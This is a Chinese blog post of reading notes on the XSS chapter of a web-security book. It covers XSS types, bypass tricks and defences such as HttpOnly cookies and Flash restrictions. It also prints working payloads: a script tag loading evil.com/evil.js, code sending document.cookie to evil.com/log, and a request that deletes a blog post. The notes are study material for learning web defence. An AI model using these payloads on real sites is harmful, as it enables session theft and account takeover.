您的位置:首页 > 其它

《白帽子讲web安全》第三章XSS读书笔记(一)

2015-09-23 13:47 232 查看
3.1 xss简介
cross site script 本来缩写是css,为了跟网站开发中的css区分,安全领域称为xss。
xss的产生原因是直接把用户的输入,输出到页面上,黑客可以输入脚本语句进行攻击。
xss的分类:反射性xss,需要诱使用户点击恶意链接才能攻击成功;存储型xss,也叫持久型xss,黑客输入的数据可以存储在服务器上;DOM based xss,实际上是一种反射性xss,通过修改页面的DOM来进行攻击。
3.2 xss攻击进阶
3.2.1 初探xss payload
xss payload实际上就是java script,还可以说flash或其他富客户端脚本。
真正的payload写在远程脚本中,避免直接在url中写入大量代码,如:
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
窃取cookie的代码:
var img =  document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
cookie的HttpOnly可以防止Cookie劫持。
3.2.2 强大的xss payload
构造get与post请求

get请求的例子:假设sohu博客上存在xss漏洞并且知道文章id,那么删除sohu博客该文章,只需调整:
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=1234567
post请求的例子:利用xss在豆瓣上发言,可以通过构造form或XMLHttpRequest两种方式发起post请求,代码较长,详见书的p48-49。书中还有一个更复杂的读取qq邮箱的例子。
xss钓鱼

xss缺少与用户交互,对于这个问题,书中举了两个例子,一个针对验证码,另一个上通过构造密码输入框,钓鱼方式获取用户密码。
识别用户浏览器

识别用户安装的软件

获取用户的真实ip地址

以上几个有需要的时候再研究了。
3.2.3 xss攻击平台
Attack API、BeEF、xss proxy
3.2.4 终极武器 xss worm
举了myspace和百度空间的两个例子,难度挺大。
3.2.5 调试js
firebug:第一利器,缺点是只对firefox支持最好。
IE developer tools、Fiddler、HttpWatch等。
3.2.6 xss构造技巧
利用字符编码:举了一个绕过“转义双引号”的例子。
绕过长度限制:
攻击者可以利用事件(event)来缩短字节数,代码为
"onclick=alert(1)//
但利用event能够缩短多字节数是有限的,最好把代码藏到别处,最常用的藏代码的地方是“location.hash”,代码为
"onclick="eval(location.hash.substr(1))
去掉第一个字符#,xss url为

http://www.a.com/test.html#alert(1)
使用<base>标签:如果攻击者插入了<base>标签,就可以劫持所有使用了“相对路径”的标签。

window.name妙用:书中给了一个例子,代码如下
<script>
window.name = "alert(document.cookie)";
location.href = http://www.xssedsite.com/xssed.php"; </script>
xss payload为
eval(name);
只有11个字节。个人觉得这里是用到了CSRF,需要先诱骗用户访问攻击者的网站。
3.2.7 变废为宝
3.2.8 Flash XSS
在Flash中可以嵌入ActionScript脚本,一个最常见的Flash XSS:
getURL("javascript:alert(document.cookie)")
将Flash嵌入页面中:
<embed src = "http://yourhost/evil.swf"
pluginpage = "http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash"
width="0"
height="0"
></embed>
一般要禁止用户上传或加载自定义Flash文件,禁用<embed>、<object>(这个可以加载ActiveX控件)标签。如果网站一定要使用Flash,则应该使用静态的flv文件。如果是swf文件,则要配置参数进行限制,最主要的参数是allowScriptAccess、allowNetworking,建议设置为never、none
除了用户上传的Flash文件能够实施脚本攻击,一些Flash也可能会有XSS漏洞,例如:
on(release){
getURL(_root.clickTAG,"_blank");}
这段代码缺乏输入验证,可被XSS攻击:

http://url/flash-file.swf?clickTAG=javascript:alert('xss')
SWFIntruder工具可用来检查这种漏洞。
3.2.9 JavaScript开发框架
代码是人写的,高手偶尔也会犯错误。
Dojo 1.4.1、YUI 2.8.1都爆出过XSS漏洞。jQuery只是对JS进行了封装,如果用户能够控制输入,也可能会产生XSS。

本文出自 “quiterr” 博客,请务必保留此出处http://quiterr.blog.51cto.com/10710132/1697437
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: